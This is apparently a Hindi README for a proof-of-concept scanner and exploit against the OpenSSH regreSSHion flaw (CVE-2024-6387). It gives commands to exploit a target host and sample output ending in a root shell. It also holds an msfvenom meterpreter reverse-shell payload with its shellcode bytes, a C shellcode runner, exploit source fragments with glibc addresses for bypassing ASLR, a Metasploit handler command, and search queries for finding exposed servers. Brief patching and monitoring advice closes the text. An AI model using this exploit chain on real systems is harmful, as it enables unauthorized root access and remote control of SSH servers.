
PoC - OpenSSH सर्वर में दूरस्थ अप्रमाणित कोड निष्पादन भेद्यता (स्कैनर और शोषण)
CVE-2024-6387 - PoCध्यान दें: यह स्क्रिप्ट एक त्वरित प्रोटोटाइप PoC है, इसमें कुछ त्रुटियाँ और बग हो सकते हैं। परीक्षित: Kali Linux, ParrotSec, Ubuntu 22.04
OpenSSH सर्वर में दूरस्थ अनधिकृत कोड निष्पादन भेद्यता
OpenSSH के सर्वर (sshd) में एक सिग्नल हैंडलर रेस कंडीशन पाया गया, जहाँ कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट 120, पुराने OpenSSH संस्करणों में 600) के भीतर प्रमाणित नहीं करता है, तो sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है। हालाँकि, यह सिग्नल हैंडलर विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं, उदाहरण के लिए, syslog()।
आप तकनीकी विवरण यहाँ पा सकते हैं।
यह दोष, Qualys के शोधकर्ताओं द्वारा मई 2024 में खोजा गया, और इसे पहचानकर्ता CVE-2024-6387 सौंपा गया, sshd में एक सिग्नल हैंडलर रेस कंडीशन के कारण है जो अनधिकृत दूरस्थ हमलावरों को रूट के रूप में मनमाना कोड निष्पादित करने की अनुमति देता है।
"यदि कोई क्लाइंट LoginGraceTime सेकंड (डिफ़ॉल्ट 120) के भीतर प्रमाणित नहीं करता है, तो sshd का SIGALRM हैंडलर अतुल्यकालिक रूप से कॉल किया जाता है और विभिन्न फ़ंक्शनों को कॉल करता है जो async-signal-safe नहीं हैं,"
"एक दूरस्थ अनधिकृत हमलावर इस दोष का लाभ उठाकर रूट विशेषाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है।"
आवश्यकता: python3 नवीनतम
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessपैच प्रबंधन: OpenSSH के लिए उपलब्ध पैच को तुरंत लागू करना भेद्यता अंतर को बंद करने के लिए महत्वपूर्ण है। समय पर पैचिंग सुनिश्चित करती है कि ज्ञात शोषण का आपके सिस्टम के खिलाफ उपयोग नहीं किया जा सकता है, जिससे हमलावरों के लिए अवसर की खिड़की कम हो जाती है।
उन्नत पहुँच नियंत्रण: नेटवर्क-आधारित नियंत्रणों के माध्यम से SSH पहुँच को सीमित करना रक्षा की एक अतिरिक्त परत जोड़ता है। यह दृष्टिकोण केवल अधिकृत नेटवर्क या IP पतों तक SSH कनेक्शन को प्रतिबंधित करके संभावित हमलावरों के लिए जोखिम को कम करता है। फ़ायरवॉल नियमों या सुरक्षित पहुँच के लिए VPN का उपयोग करने जैसे उपकरणों को लागू करना इन प्रतिबंधों को प्रभावी ढंग से लागू कर सकता है।
नेटवर्क विभाजन: अपने नेटवर्क को खंडों में विभाजित करना संभावित उल्लंघन के प्रभाव को समाहित करने में मदद करता है। महत्वपूर्ण सिस्टम और संवेदनशील डेटा को अपने नेटवर्क के कम महत्वपूर्ण भागों से अलग करके, आप हमलावरों द्वारा पार्श्व आंदोलन के जोखिम को कम करते हैं। इस विभाजन को सख्त पहुँच नियंत्रण और निगरानी के साथ पूरक किया जा सकता है ताकि इन खंडों को तोड़ने के किसी भी अनधिकृत प्रयास का पता लगाया जा सके और उस पर प्रतिक्रिया दी जा सके।
घुसपैठ का पता लगाने वाली प्रणाली (IDS): IDS या घुसपैठ रोकथाम प्रणाली (IPS) तैनात करने से नेटवर्क ट्रैफ़िक और सिस्टम लॉग की रीयल-टाइम निगरानी संभव होती है। ये सिस्टम regreSSHion भेद्यता से जुड़ी संदिग्ध गतिविधियों और संभावित शोषण प्रयासों का पता लगा सकते हैं। ऐसी प्रणालियों द्वारा ट्रिगर की गई चेतावनियाँ महत्वपूर्ण क्षति होने से पहले त्वरित जाँच और शमन की अनुमति देती हैं।
शोषण प्रयासों की निगरानी: नेटवर्क और सिस्टम लॉग की निरंतर निगरानी महत्वपूर्ण है। OpenSSH भेद्यता का शोषण करने के प्रयास का संकेत देने वाले किसी भी असामान्य पैटर्न या गतिविधि की तलाश करें। यह सक्रिय दृष्टिकोण नुकसान होने से पहले खतरों की पहचान करने और उनका जवाब देने में मदद करता है।